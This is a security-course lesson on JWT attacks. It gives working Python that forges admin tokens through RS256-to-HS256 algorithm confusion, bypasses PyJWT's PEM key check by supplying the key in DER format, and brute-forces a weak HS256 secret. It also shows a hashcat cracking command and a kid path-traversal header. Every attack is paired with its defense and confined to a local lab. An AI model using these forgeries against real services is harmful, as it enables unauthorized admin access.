Web security
Step 197. Advanced JWT Attacks — Becoming Admin via alg Confusion and Weak Secrets
Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 3 hours
Prerequisites: you’ve finished Step 150 (JWT and business logic). You know JWT’s three-part structure, the concept of alg=none, and basic PyJWT usage.
- What you need: Python 3 + PyJWT + cryptography (
python -m pip install pyjwt cryptography). Burp Suite (wargame). - ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Legal practice grounds: today’s key generation and token forgery experiments all end inside your own computer. PortSwigger Web Security Academy’s JWT labs are a legal platform made to be solved. Do not use today’s techniques anywhere outside these two places.
In Step 150 we dissected JWT and got a taste of alg=none and weak secret keys. Today we go one step further. Even in a proper setup where the server signs with an asymmetric key (RS256), if the verification code trusts the token’s alg header as-is, it falls. A public key is, as the name says, a "public" value — and the alg confusion attack, which signs by using that public key as if it were a symmetric key (an HMAC secret), is today’s protagonist.
The surprising part is that both are true: modern libraries already block this classic attack — and it still gets through. In today’s experiments you’ll see directly how the latest PyJWT blocks it, and exactly where that defense ends. In the second half, you’ll also learn why the header’s kid parameter is an injection point.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the key-structure difference between HS256 (symmetric) and RS256 (asymmetric)
- Measure the RS256→HS256 alg confusion principle locally
- Observe the modern library defense (blocking HMAC use of asymmetric keys) and its bypass (key format conversion)
- Review weak-secret brute force and know the hashcat connection (m16500)
- Organize the concept of
kidheader parameter injection and its defenses (pinning alg, validating kid)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + PyJWT + cryptography (local lab), PortSwigger Academy + Burp (wargame) |
| Today’s commands | rsa.generate_private_key(), jwt.encode/decode, algorithms=[...], hashcat -m 16500 (concept) |
| Concepts needed | HMAC vs RSA signatures, the alg header trust problem, the kid parameter, offline cracking |
| Today’s deliverables | alg confusion reproduction code + vulnerable/defended server comparison output + a defense table for 3 attack types |
2-1. Symmetric and Asymmetric — Two Kinds of Signatures
HS256 is a symmetric-key scheme. Signing and verification use the same secret string. It fits simple services where one server both issues and verifies.
RS256 is an asymmetric-key scheme. Signing uses the private key; verification uses the public key. With two keys, roles can be split — only the auth server holds the private key, and multiple API servers merely verify with the public key. That’s why it’s used as a standard in microservices.
The key property: the public key is public. It’s often even distributed through an endpoint (/.well-known/jwks.json). Being "a value anyone can have" is the raw material of today’s attack.
2-2. alg Confusion — Who Decides the Verification Algorithm
A vulnerable server’s verification code looks like this: "read the token’s alg header and verify with that algorithm." A server meant to use only RS256 failed to pin the algorithm at verification time.
The attacker’s order:
- Obtain the server’s public key (it’s a public value, so getting it is legitimate)
- Build a token with the header changed to
{"alg":"HS256"} - When signing, put the public key string in HMAC’s "secret key" slot
- The server verifies with HS256 per the header, and the value it uses as the verification key is that very public key — signature and verification match with the same value
The moment a system designed asymmetrically slides into symmetric verification, "public value = secret key," and the meaning of the signature disappears.
2-3. The Library’s Defense — And Its Limits
As this attack became widely known, JWT libraries built in responses. The latest PyJWT raises an error when an asymmetric key (in PEM format) comes in as an HMAC key. You’ll see this message yourself in today’s measurements.
But this defense works only "when the key looks like an asymmetric key in format." Feed the same key converted to another format, like DER bytes, and it slips past the check. The real defense isn’t the library — it’s pinning algorithms=["RS256"] in the server code. You’ll measure that today too.
2-4. kid — Another Input Field in the Header
The JWT header has a field called kid (key ID). It’s a selector saying "which of several keys to verify with." A vulnerable server uses this value directly as a file path or in a DB query. If kid resolves to a path like ../../dev/null, the empty file’s contents (an empty string) become the verification key, and a token the attacker signed with an empty key passes. The instinct that matters: the header is not "settings the server reads" but "input the attacker writes."
3. Follow Along
3-1. An RSA Keypair and a Normal RS256 Token
Create step197_jwt.py. To play the server’s role, generate an RSA keypair and first confirm the normal flow: sign with the private key, verify with the public key.
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
private_pem = key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
public_pem = key.public_key().public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
print("Public key, first line:", public_pem.decode().splitlines()[0])
token = jwt.encode({"sub": "user", "role": "user"}, private_pem, algorithm="RS256")
print("Normal token verification:", jwt.decode(token, public_pem, algorithms=["RS256"]))
Output (measured 2026-09-09, PyJWT 2.13 / cryptography 47):
Public key, first line: -----BEGIN PUBLIC KEY-----
Normal token verification: {'sub': 'user', 'role': 'user'}
How to read it: normal RS256, signed with the private key and verified with the public key. Remember that this public key is "a value anyone can obtain."
3-2. alg Confusion — Measuring the Library’s Defense
Attempt the attack. Change the header to HS256 and use the public key as the HMAC secret.
# Attack attempt 1: the PEM public key used directly as an HMAC secret
try:
forged = jwt.encode({"sub": "admin", "role": "admin"}, public_pem, algorithm="HS256")
print("HS256 signing with PEM public key succeeded (no library defense)")
except jwt.exceptions.InvalidKeyError as e:
print("PEM public key HS256 attempt -> blocked by library:", e)
Output (measured 2026-09-09):
PEM public key HS256 attempt -> blocked by library: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
How to read it: the latest PyJWT blocked it, saying "this is an asymmetric key, so it can’t be used as an HMAC secret." A library-level defense really exists. But this check judges by format. Convert the same key to DER bytes.
# Attack attempt 2: the same key in DER byte format
public_der = key.public_key().public_bytes(
serialization.Encoding.DER,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
forged = jwt.encode({"sub": "admin", "role": "admin"}, public_der, algorithm="HS256")
print("HS256 signing with DER-format public key succeeded (defense bypassed)")
Output (measured 2026-09-09):
HS256 signing with DER-format public key succeeded (defense bypassed)
How to read it: the same key, but changing only the format slipped past the block. The library defense is an "auxiliary measure"; the real defense comes next.
3-3. The Vulnerable Server and the Defended Server
Feed the forged token to two kinds of server code.
# Vulnerable server: trusts the token's alg header and allows both verification algorithms
vulnerable = jwt.decode(forged, public_der, algorithms=["RS256", "HS256"])
print("Value accepted by the vulnerable server (both algs allowed):", vulnerable)
# Defended server: pins the algorithm to RS256
try:
jwt.decode(forged, public_pem, algorithms=["RS256"])
except jwt.exceptions.InvalidAlgorithmError as e:
print("Defended server (alg pinned):", type(e).__name__, "-", e)
Output (measured 2026-09-09):
Value accepted by the vulnerable server (both algs allowed): {'sub': 'admin', 'role': 'admin'}
Defended server (alg pinned): InvalidAlgorithmError - The specified alg value is not allowed
How to read it: the same forged token. The server allowing both algorithms accepted it as admin; the server pinned to RS256 rejected it, saying the alg header broke the agreement. The vulnerability’s true identity is not cryptography — it’s the single algorithms=[...] line. The defense is simple: pin the allowed algorithms at verification to the design intent.
3-4. Weak-Secret Brute Force (Step 150 Review + Real-World Tooling)
Back in the HS256 world, re-confirm the dictionary attack.
SECRET = "superman"
hs_token = jwt.encode({"sub": "user", "role": "user"}, SECRET, algorithm="HS256")
wordlist = ["admin", "password", "secret", "superman", "qwerty", "jwt-secret"]
for i, word in enumerate(wordlist, 1):
try:
jwt.decode(hs_token, word, algorithms=["HS256"])
print(f"Key found on attempt {i}: {word!r}")
break
except jwt.exceptions.InvalidSignatureError:
pass
forged2 = jwt.encode({"sub": "admin", "role": "admin"}, word, algorithm="HS256")
print("Verification of token forged with the found key:", jwt.decode(forged2, word, algorithms=["HS256"]))
Output (measured 2026-09-09):
Key found on attempt 4: 'superman'
Verification of token forged with the found key: {'sub': 'admin', 'role': 'admin'}
How to read it: with no server contact at all — just the token — we found the key and forged with it. Also note the InsecureKeyLengthWarning PyJWT raises during the run (HMAC key below the recommended 32 bytes) — the library itself warning that "this key is weak against brute force."
In the field, you use a GPU cracker instead of a Python loop. Command example (screen example — not executed in today’s environment):
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
-m 16500 is the JWT (HS256)-specific mode. For the dictionary, use the rockyou.txt family from Step 124 or a JWT-specific secrets list (jwt-secrets).
3-5. The kid Injection Concept (Screen Example)
A conceptual experiment assuming a vulnerable server that resolves kid as a file path. Screen example:
Tampered header: {'alg': 'HS256', 'typ': 'JWT', 'kid': '../../../../dev/null'}
-> on a server that reads kid as a file path, /dev/null (empty contents) becomes the verification key,
so a token signed with an empty string passes
How to read it: every header field is input the attacker can write. Trust alg and you get alg confusion; trust kid and you get key-selection injection. The defense runs in the same direction — never use header values as file paths or queries, and select keys only from an allowed key list (a whitelist).
3-6. Connecting to the PortSwigger JWT Labs
The Academy’s JWT labs are today’s techniques deployed in the field. On entry, start by dissecting your issued token after login with Burp’s JWT editor (or jwt.io). There are separate labs where alg=none works, where you crack a weak secret, and where you obtain the public key and confuse it into HS256. When tampering manually, beware that Base64url has no = padding — encoding/decoding gets tangled easily, so make active use of jwt.io’s editing features. If cracking fails, widening the dictionary is the standard move.
4. Missions & Exercises
Mission — Reproduce the Full alg Confusion Process and Prove the Defense
- Reproduce 3-1–3-3 and capture the output of the four scenes: "PEM blocked → DER bypass → vulnerable server accepts → defended server rejects"
- When you change the vulnerable server code (
algorithms=["RS256", "HS256"]) to the defended code (algorithms=["RS256"]), check which exception appears - In the 3-4 brute force, switch to a long random key not in the dictionary (32+ bytes), confirm it isn’t found, and observe whether the
InsecureKeyLengthWarningdisappears - Organize the defenses for the 3 JWT attack types (alg=none, alg confusion, weak secret) into one table
- Solve one PortSwigger JWT lab and write a write-up
Exercises
Exercise 1. In an RS256 system, explain why it’s safe in normal operation even though the public key is "a value anyone can have" — and how that property flips into a weapon under alg confusion.
Exercise 2. In the 3-2 measurement, the latest PyJWT blocked HMAC use of a PEM public key but let the DER format through. What "limit of library defenses" does this result state?
Exercise 3. Using the 3-3 output as evidence, explain why the real defense against alg confusion is pinning algorithms=["RS256"].
Exercise 4. Why is the JWT header’s kid parameter attack surface? Explain along with a safe handling method.
Answers & completion criteria · expand/collapse
5. Model Answers & Completion Criteria
Mission Model Answer
Items 1–2 are exactly the Section 3 measurements. In item 2, switching to the defended code should raise InvalidAlgorithmError - The specified alg value is not allowed — this exception is evidence that "the alg header was not trusted."
Item 3: switching the key to a random value of 32+ bytes (e.g., os.urandom(32).hex()) means the six-word dictionary can’t find it, and the key-length warning disappears too. The conclusion: "a sufficiently long key not in any dictionary = offline cracking is practically impossible."
Item 4 summary table example:
| Attack | Condition | Defense |
|---|---|---|
| alg=none | Server allows the none algorithm |
Exclude none from the allowed alg list (blocked by default in modern libraries) |
| alg confusion | Verification trusts the alg header | Pin the algorithm, e.g. algorithms=["RS256"] |
| Weak secret | HS256 key is in a dictionary | Random key of 32+ bytes + key rotation |
| kid injection | kid used as a path/query | Whitelist of allowed key IDs |
In the item 5 write-up, record "original token / fields changed / key used / server response / what the server ended up trusting."
Exercise Answers
Answer 1. In normal RS256 operation, signatures are made only with the private key, so knowing the public key lets you verify but never mint a new signature. But if the server’s verification algorithm gets swapped to HS256, HS256 is a symmetric scheme where "signing key = verification key," so the public key becomes a secret key anyone can sign with. Asymmetric safety holds only "while verification happens asymmetrically."
Answer 2. The library’s block is a heuristic that works only when it recognizes the key’s format. The same key fed in another format like DER slips past the check, so a library defense is a safety net that reduces mistakes — not a boundary that stops attacks. Final defense responsibility lies with the server code’s algorithm pinning.
Answer 3. In the 3-3 measurement, the same forged token was accepted as admin by the algorithms=["RS256","HS256"] server and rejected with InvalidAlgorithmError by the ["RS256"] server. Pinning the verification algorithm means the token’s alg header is ignored no matter how hard it points at HS256, so the attack’s premise — "the server verifies with the algorithm I choose" — itself fails to hold.
Answer 4. kid is a header field the attacker can modify, and if the server connects it to a file path or SQL query, it escalates into path traversal or injection; pointing it at a file like /dev/null makes an empty string the verification key, so a token signed with an empty key passes. Safe handling: match kid only against identifiers in the server’s allowed key list, and reject anything not on the list — never use it as a path or query string.
Completion Criteria Checklist
- [ ] I can state the key-structure difference between HS256 (symmetric) and RS256 (asymmetric)
- [ ] I reproduced alg confusion locally and saw the vulnerable/defended server difference
- [ ] I measured PyJWT’s PEM block message and the DER bypass
- [ ] I understand weak-secret brute force and the meaning of the key-length warning
- [ ] I know hashcat
-m 16500is the JWT cracking mode - [ ] I can explain the kid injection concept and the whitelist defense
- [ ] Mission: four-scene capture + 3-attack defense table + one PortSwigger lab
6. Common Pitfalls & Fixes
Wall 1. ModuleNotFoundError: No module named 'cryptography'
Cause: using RS256 requires PyJWT’s crypto backend, cryptography.
Fix: python -m pip install cryptography (measured 2026-09-09, 47.0.0 installed fine). HS256-only experiments work without this library.
Wall 2. InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
Cause (measured 2026-09-09): the latest PyJWT’s block when a PEM-format public key is fed as an HS256 key. Not a malfunction — the defense made visible.
Fix: record this message as "the library defense, measured," as in 3-2. Reproducing the confusion attack continues via the DER format conversion.
Wall 3. InvalidAlgorithmError: The specified alg value is not allowed
Cause: the token’s alg isn’t in the algorithms=[...] list. Feeding an alg=none or HS256 forged token to a decoder allowing only RS256 produces this.
Fix: rejection is normal — a defense-success scene. To see the attack succeed, compare side by side with a "vulnerable server" whose allowed list is widened (3-3).
Wall 4. I edited the token manually and decoding got tangled
Symptom-family message:
binascii.Error: Invalid padding
Cause: JWT is Base64url, so there’s no trailing = padding. After manual tampering, broken padding handling breaks decoding.
Fix: fix padding with s += "=" * (-len(s) % 4) (Step 150), or leave manual tampering to the jwt.io editor.
Wall 5. Brute force can’t find the key
Cause: the real key simply isn’t in your dictionary. Common in the field.
Fix: widen the dictionary — rockyou.txt, then JWT-specific lists (secrets). If the Python loop is slow, hand it to hashcat -m 16500. If it still doesn’t come out, "this key withstands dictionary attacks" is itself a valid observation.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| HS256 vs RS256 | Symmetric (same key signs and verifies) vs asymmetric (private signs, public verifies) |
| alg confusion | An attack that slides the verification alg to HS256 and uses the public key as an HMAC secret |
| Library defense | PyJWT’s block on PEM asymmetric keys as HMAC — format-recognition based, so bypassable |
| Pinning alg | algorithms=["RS256"] — the real defense that ignores the header’s instruction |
| kid injection | An attack feeding an empty key to a server that uses the key selector as a path/query |
| Offline cracking | Unlimited attempts with just the token — hashcat -m 16500 |
| InsecureKeyLengthWarning | The library’s warning that a key is under 32 bytes — a defense indicator |
Today’s Commands & Code
| Command/code | What it does |
|---|---|
rsa.generate_private_key(...) |
Generate an experimental RSA keypair |
jwt.encode(payload, private_pem, algorithm="RS256") |
Normal asymmetric signing |
jwt.encode(payload, public_der, algorithm="HS256") |
alg confusion forgery |
jwt.decode(token, key, algorithms=["RS256"]) |
Pinned-algorithm verification (defense) |
Dictionary loop + jwt.decode |
Weak-secret brute force |
hashcat -a 0 -m 16500 jwt.txt wordlist.txt |
JWT-specific GPU cracking (concept) |
The Instinct That Matters More Than Commands
When you see a JWT, view the header not as "the server’s settings" but as "the attacker’s input fields." Trust alg and you get confused; trust kid and the key gets swapped. Even if signing was designed asymmetrically, one verification line sliding into symmetric brings the whole thing down. And when you meet a library’s defense message, read its intent before hunting for a bypass — InvalidKeyError is a record of history saying "this path was breached before," and InsecureKeyLengthWarning is a warning that "a dictionary exists for this key." Exception messages are the attack’s map.
Once every box is checked, Step 197 is complete.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.